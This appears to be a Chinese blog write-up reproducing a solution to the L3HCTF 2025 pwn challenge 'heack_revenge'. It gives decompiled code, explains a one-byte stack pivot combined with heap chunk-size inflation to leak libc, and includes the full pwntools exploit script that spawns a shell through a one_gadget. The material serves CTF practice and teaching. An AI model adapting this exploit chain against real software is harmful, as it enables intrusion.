L3Hctf 2025 heack_revenge 复现

checksec

1
2
3
4
5
6
7
8
9
10
yyyffff@yyyffff-virtual-machine:~/桌面/2/lib$ checksec v2
[*] '/home/yyyffff/桌面/2/lib/v2'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
Stripped: No

IDA

main

1
2
3
4
5
6
7
8
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
printf("Welcome To L3HCTF!");
game();
printf("Have a nice day.");
return 0;
}

game

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
void game()
{
char s[128]; // [rsp+0h] [rbp-B0h] BYREF
__int64 v1; // [rsp+80h] [rbp-30h]
unsigned __int64 v2; // [rsp+88h] [rbp-28h]
__int64 v3; // [rsp+90h] [rbp-20h]
int v4; // [rsp+98h] [rbp-18h]
int v5; // [rsp+9Ch] [rbp-14h]
int v6; // [rsp+A0h] [rbp-10h]
int int_4bytes; // [rsp+A4h] [rbp-Ch]
unsigned __int64 v8; // [rsp+A8h] [rbp-8h]

v8 = __readfsqword(0x28u);
memset(s, 0, 0xA8uLL);
v4 = 0x12A0F05;
v5 = 0x1F0F5D;
v6 = 0x1350058;
printf("Data: %d\n", 0x1350058LL);
puts("As the chosen hero, you must conquer the fearsome dragon that threatens our kingdom!");
while ( 1 )
{
print_menu();
int_4bytes = read_int_4bytes();
switch ( int_4bytes )
{
case 1:
fight_dragon(v2);
exit(0);
case 2:
puts("\n[Attack Training]");
++v3;
v2 += 16LL;
printf("[Attack]: %lu\n", v3);
break;
case 3:
puts("\n[HP Training]");
++v1;
v2 += 256LL;
printf("[HP]: %lu\n", v1);
break;
case 4:
puts("\n[Status] Displaying hero stats...");
printf("[HP]: %lu\n", v1);
printf("[Attack]: %lu\n", v3);
printf("[Combat Power]: %lu\n", v2);
printf("Hint: To defeat the mighty dragon, ensure your HP and Attack both exceed 93!");
break;
case 5:
note_system((__int64)s);
break;
default:
sad();
return;
}
}
}

其中 attack_training 和 hp_training 会让 v2,也就是 [rbp-0x28] 增加 0x10 和 0x100

fight_dragon

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
__int64 __fastcall fight_dragon(unsigned __int64 a1)
{
int v1; // eax
char buf[36]; // [rsp+10h] [rbp-30h] BYREF
unsigned int v4; // [rsp+34h] [rbp-Ch]
unsigned __int64 v5; // [rsp+38h] [rbp-8h]

v5 = __readfsqword(0x28u);
if ( fight )
{
puts("something wrong");
exit(-1);
}
fight = 1;
puts("\n[Battle] Engaging the dragon!");
printf(
"As you lay eyes upon the dread dragon, your blood boils with the urge to challenge it!\n"
"You grip your sword and shout:");
v4 = 0;
while ( read(0, buf, 1uLL) == 1 && (int)v4 <= 55 && buf[0] != 10 )
{
v1 = v4++;
buf[v1 + 1] = buf[0];
}
if ( a1 <= 0xFFFF )
{
puts("TRIP ATTACK! (Critical Hit)\nYour fumbling dagger strike somehow finds the dragon's vulnerability!");
puts(&byte_2490);
}
else
{
puts("\nThe mighty dragon takes one look at you, whimpers, and bolts away like a scared kitten. You win... by default?");
}
return v4;
}

跟上面一题相比,栈溢出变了,只能溢出一次且修改一个字节

寻找0x18附近的gadgets

发现game函数开头有许多奇怪的数字

1
2
3
4
v4 = 0x12A0F05;
v5 = 0x1F0F5D;
v6 = 0x1350058;
printf("Data: %d\n", 0x1350058LL);

将其转换为数据

1752826759360

将 0x186a 处转换为代码,发现有一个 gadgets 可以用

1752826838328

得到了一个 pop rbp 的 gadget

note_system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
void __fastcall note_system(__int64 a1)
{
int int_4bytes; // [rsp+14h] [rbp-2Ch]
int v2; // [rsp+18h] [rbp-28h]
int v3; // [rsp+18h] [rbp-28h]
int v4; // [rsp+18h] [rbp-28h]
unsigned int nbytes; // [rsp+1Ch] [rbp-24h]
size_t nbytes_4; // [rsp+20h] [rbp-20h]
ssize_t v7; // [rsp+28h] [rbp-18h]

while ( 1 )
{
puts("\nDuring your grueling training, you feel compelled to document your thoughts...");
puts("1. Write a new diary entry");
puts("2. Destroy a diary entry");
puts("3. View a diary entry");
puts("4. Exit");
printf("Choose an option: ");
int_4bytes = read_int_4bytes();
if ( int_4bytes == 4 )
break;
if ( int_4bytes > 4 )
goto LABEL_28;
switch ( int_4bytes )
{
case 3:
printf("Enter index to view (0-%d): ", 15LL);
v4 = read_int_4bytes();
if ( (unsigned int)v4 < 0x10 )
{
if ( *(_QWORD *)(8LL * v4 + a1) )
{
printf("\n--- Diary Entry %d ---\n", (unsigned int)v4);
puts(*(const char **)(8LL * v4 + a1));
puts("----------------------");
}
else
{
LABEL_21:
puts("No diary exists at this index.");
}
}
else
{
LABEL_23:
puts("Invalid index!");
}
break;
case 1:
printf("Enter index (0-%d): ", 15LL);
v2 = read_int_4bytes();
if ( (unsigned int)v2 >= 0x10 )
goto LABEL_23;
if ( *(_QWORD *)(8LL * v2 + a1) )
{
puts("This slot already contains a diary. Destroy it first.");
}
else
{
printf("Enter diary content size (1-2048): ");
nbytes = read_int_4bytes();
if ( nbytes && nbytes <= 0x800 )
{
*(_QWORD *)(8LL * v2 + a1) = malloc(nbytes + 1);
if ( *(_QWORD *)(8LL * v2 + a1) )
{
nbytes_4 = malloc_usable_size(*(void **)(8LL * v2 + a1));
memset(*(void **)(8LL * v2 + a1), 0, nbytes_4);
printf("Input your content: ");
v7 = read(0, *(void **)(8LL * v2 + a1), nbytes);
if ( v7 <= 0 )
{
puts("Read failed!");
free(*(void **)(8LL * v2 + a1));
return;
}
*(_BYTE *)(*(_QWORD *)(8LL * v2 + a1) + v7) = 0;
printf("Diary saved at index %d!\n", (unsigned int)v2);
puts("You steel your resolve - these memoirs shall remain sealed until the dragon lies vanquished.");
}
else
{
puts("Failed to allocate memory for diary!");
}
}
else
{
puts("Invalid size!");
}
}
break;
case 2:
printf("Enter index to destroy (0-%d): ", 15LL);
v3 = read_int_4bytes();
if ( (unsigned int)v3 >= 0x10 )
goto LABEL_23;
if ( !*(_QWORD *)(8LL * v3 + a1) )
goto LABEL_21;
free(*(void **)(8LL * v3 + a1));
*(_QWORD *)(8LL * v3 + a1) = 0LL;
printf("Diary at index %d has been destroyed.\n", (unsigned int)v3);
break;
default:
LABEL_28:
puts("Invalid choice!");
break;
}
}
puts("Exiting diary system. Goodbye, hero!");
}

本身不存在什么漏洞

不过这里传进来的参数也就是 game 里的 s(栈上)这里将 s 作为 note_list 其中 index 可以由我们自己来输入

漏洞

我们可以使用栈溢出,将 rbp 改为 s 的地址,也就是 chunk[0] 的地址。然后可以利用 attack/hp_training 来使上面的数据变大,如果我们刚好让这个地址为一个 chunk 的 size ,我们就可以将该 chunk 的 size 变为很大,然后 free 掉,再次 malloc 就可以让 fd、bk 进入到一个已分配的 chunk,就可以 view 来泄露,然后由于 rbp 已经被我们控制,我们可以往 rbp 后面写上 one_gadget

  • 首先构造堆块
1
2
3
4
5
6
7
8
malloc(15, 0x600, b'safe memory')
malloc(1, 0x10, b'To BIG')
malloc(0, 0x10, b'rbp')
malloc(4, 0x10, b'leak')
malloc(2, 0x4d8, b'fill')
malloc(3, 0x10, b'protect')
free(1)
free(4)

其作用都写在后面了

这样构造完 pop rbp 后 [rbp-0x28] 就是 chunk1 的size了,就可以增加

此时的堆块

  • 然后让该返回地址为 pop rbp,执行pop rbp 让 rbp 为 chunk0 地址
1
2
buffer_overflow()
sh.send(b'\n')

执行完后

1752828798690

可以看到被改成了 chunk0 地址

  • 然后把chunk(1,4)分配回来,回到 game 函数来执行 hp/attach_training 来增加 chunk1 的 size
1
2
3
4
5
6
7
8
train_hp()
train_hp()
train_hp()
train_hp()
train_hp()
train_attack()
train_attack()
train_attack()

可以看到 chunk1 的 size 被我们增加到了 0x550

  • 然后 free(1) 后 malloc(0x30) 就可以让 fd bk 进入到 chunk4 里面,就可以 view(4) 来泄露 libcbase
  • 接着修改 rbp+8 为 ogg
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
free(1)
malloc(1, 0x30, b'To leak')
view(4)
sh.recvuntil("--- Diary Entry 4 ---\n")
libc_base = u64(sh.recv(6) + b'\x00' * 2) - 2112288
log.success("libc_base: " + hex(libc_base))
free(1)

one_gadget = 0xef52b + libc_base #RAX == NULL && [RBP - 0X78] == NULL
payload = p64(0) * 4 + p64(libc_base + 0x204ff0 + 0x78) + p64(one_gadget)
malloc(1, 0x30, payload)

sla("Choose an option: ", str(4))
sla("> ", str(6))
sh.interactive()

回到 game 函数里,输入一个非法的执行 sad 后面的 ret 就可以执行 one_gadget 了(其他函数里执行 ret 不会执行one_gadget,只有回到 game 里 rbp 才是直接 chunk0,此时 ret 才可以 one_gadget)

官方exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/usr/bin/env python3
from pwn import *
context(os='linux',arch = 'amd64',log_level='debug')
filename = "v2"
libcname = "./libc.so.6"
host = "1.95.8.146"
port = 19999
elf = ELF('./v2')
libc='./libc.so.6'
def sla(a, b):
print(f"[+] Waiting for: {repr(a)}")
sh.sendlineafter(a, b)

def start():
return process('./v2')

def fight(content):
sla("> ", str(1))
sh.sendafter("You grip your sword and shout:", content)

def train_attack():
sla("> ", str(2))

def train_hp():
sla("> ", str(3))

def note_system_in():
sla("> ", str(5))

def malloc(index, size, content):
sla("Choose an option: ", str(1))
sla("Enter index (0-15): ", str(index))
sla("Enter diary content size (1-2048): ", str(size))
sh.sendafter("Input your content: ", content)

def free(index):
sla("Choose an option: ", str(2))
sla("Enter index to destroy (0-15): ", str(index))

def view(index):
sla("Choose an option: ", str(3))
sla("Enter index to view (0-15): ", str(index))

def note_system_out():
sla("Choose an option: ", str(4))

def buffer_overflow():
payload = b'A' * (259 - 0xe0) + b'\x37' + b'\x6A'
fight(payload)

sh = start()
note_system_in()
malloc(15, 0x600, b'safe memory')
malloc(1, 0x10, b'To BIG')
malloc(0, 0x10, b'rbp')
malloc(4, 0x10, b'leak')
malloc(2, 0x4d8, b'fill')
malloc(3, 0x10, b'protect')
free(1)
free(4)

note_system_out()
buffer_overflow()
sh.send(b'\n')

note_system_in()
malloc(4, 0x10, b'leak')
malloc(1, 0x10, b'To BIG')
note_system_out()
train_hp()
train_hp()
train_hp()
train_hp()
train_hp()
train_attack()
train_attack()
train_attack()
note_system_in()
free(1)
malloc(1, 0x30, b'To leak')
view(4)
sh.recvuntil("--- Diary Entry 4 ---\n")
libc_base = u64(sh.recv(6) + b'\x00' * 2) - 2112288
log.success("libc_base: " + hex(libc_base))
free(1)

one_gadget = 0xef52b + libc_base #RAX == NULL && [RBP - 0X78] == NULL
payload = p64(0) * 4 + p64(libc_base + 0x204ff0 + 0x78) + p64(one_gadget)
malloc(1, 0x30, payload)

sla("Choose an option: ", str(4))
sla("> ", str(6))
sh.interactive()


L3Hctf 2025 heack_revenge 复现
http://yyyffff.github.io/2025/07/18/L3Hctf 2025 heack_revenge 复现/
作者
yyyffff
发布于
2025年7月18日
许可协议